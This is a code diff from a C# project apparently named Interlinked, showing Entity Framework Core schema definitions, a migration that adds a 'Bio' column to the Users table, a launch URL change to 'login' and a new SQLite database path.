b.Property<string>("Name")
.HasMaxLength(96)
.HasColumnType("TEXT");
b.Property<byte[]>("Salt")
.IsRequired()
.HasColumnType("BLOB");
b.Property<string>("Username")
.IsRequired()
.HasMaxLength(32)
.HasColumnType("TEXT")
.UseCollation("NOCASE");
b.HasKey("Id");
b.ToTable("Users");
});
modelBuilder.Entity("ProjectTag", b =>
{
b.Property<long>("ProjectsId")
.HasColumnType("INTEGER");
b.Property<string>("TagsIdentifier")
.HasColumnType("TEXT");
b.HasKey("ProjectsId", "TagsIdentifier");
b.HasIndex("TagsIdentifier");
b.ToTable("ProjectTag");
});
modelBuilder.Entity("TagUserModel", b =>
{
b.Property<string>("InterestsIdentifier")
.HasColumnType("TEXT");
b.Property<long>("UsersId")
.HasColumnType("INTEGER");
b.HasKey("InterestsIdentifier", "UsersId");
b.HasIndex("UsersId");
b.ToTable("TagUserModel");
});
modelBuilder.Entity("Interlinked.Shared.Model.AuthSession", b =>
{
b.HasOne("Interlinked.Shared.Model.UserModel", "User")
.WithMany("AuthSessions")
.HasForeignKey("UserId")
.OnDelete(DeleteBehavior.Cascade)
.IsRequired();
b.Navigation("User");
});
modelBuilder.Entity("Interlinked.Shared.Model.Project", b =>
{
b.HasOne("Interlinked.Shared.Model.UserModel", "Owner")
.WithMany()
.HasForeignKey("OwnerId")
.OnDelete(DeleteBehavior.Cascade)
.IsRequired();
b.Navigation("Owner");
});
modelBuilder.Entity("ProjectTag", b =>
{
b.HasOne("Interlinked.Shared.Model.Project", null)
.WithMany()
.HasForeignKey("ProjectsId")
.OnDelete(DeleteBehavior.Cascade)
.IsRequired();
b.HasOne("Interlinked.Shared.Model.Tag", null)
.WithMany()
.HasForeignKey("TagsIdentifier")
.OnDelete(DeleteBehavior.Cascade)
.IsRequired();
});
modelBuilder.Entity("TagUserModel", b =>
{
b.HasOne("Interlinked.Shared.Model.Tag", null)
.WithMany()
.HasForeignKey("InterestsIdentifier")
.OnDelete(DeleteBehavior.Cascade)
.IsRequired();
b.HasOne("Interlinked.Shared.Model.UserModel", null)
.WithMany()
.HasForeignKey("UsersId")
.OnDelete(DeleteBehavior.Cascade)
.IsRequired();
});
modelBuilder.Entity("Interlinked.Shared.Model.UserModel", b =>
{
b.Navigation("AuthSessions");
});
#pragma warning restore 612, 618
}
}
}

View file

@ -0,0 +1,28 @@
using Microsoft.EntityFrameworkCore.Migrations;
#nullable disable
namespace Interlinked.User.Migrations
{
/// <inheritdoc />
public partial class bio : Migration
{
/// <inheritdoc />
protected override void Up(MigrationBuilder migrationBuilder)
{
migrationBuilder.AddColumn<string>(
name: "Bio",
table: "Users",
type: "TEXT",
nullable: true);
}
/// <inheritdoc />
protected override void Down(MigrationBuilder migrationBuilder)
{
migrationBuilder.DropColumn(
name: "Bio",
table: "Users");
}
}
}

View file

@ -82,6 +82,9 @@ namespace Interlinked.User.Migrations
.ValueGeneratedOnAdd()
.HasColumnType("INTEGER");
b.Property<string>("Bio")
.HasColumnType("TEXT");
b.Property<string>("City")
.HasColumnType("TEXT");

View file

@ -13,7 +13,7 @@
"commandName": "Project",
"dotnetRunMessages": true,
"launchBrowser": true,
"launchUrl": "/",
"launchUrl": "login",
"applicationUrl": "http://localhost:5066",
"environmentVariables": {
"ASPNETCORE_ENVIRONMENT": "Development"
@ -23,7 +23,7 @@
"commandName": "Project",
"dotnetRunMessages": true,
"launchBrowser": true,
"launchUrl": "/",
"launchUrl": "login",
"applicationUrl": "https://localhost:7203;http://localhost:5066",
"environmentVariables": {
"ASPNETCORE_ENVIRONMENT": "Development"

View file

@ -12,7 +12,7 @@ public class StoreContext : DbContext
protected override void OnConfiguring(DbContextOptionsBuilder o)
{
o.UseSqlite("Data Source=./store.db;Cache=Shared");
o.UseSqlite("Data Source=/data/store.db;Cache=Shared");
o.EnableDetailedErrors();
}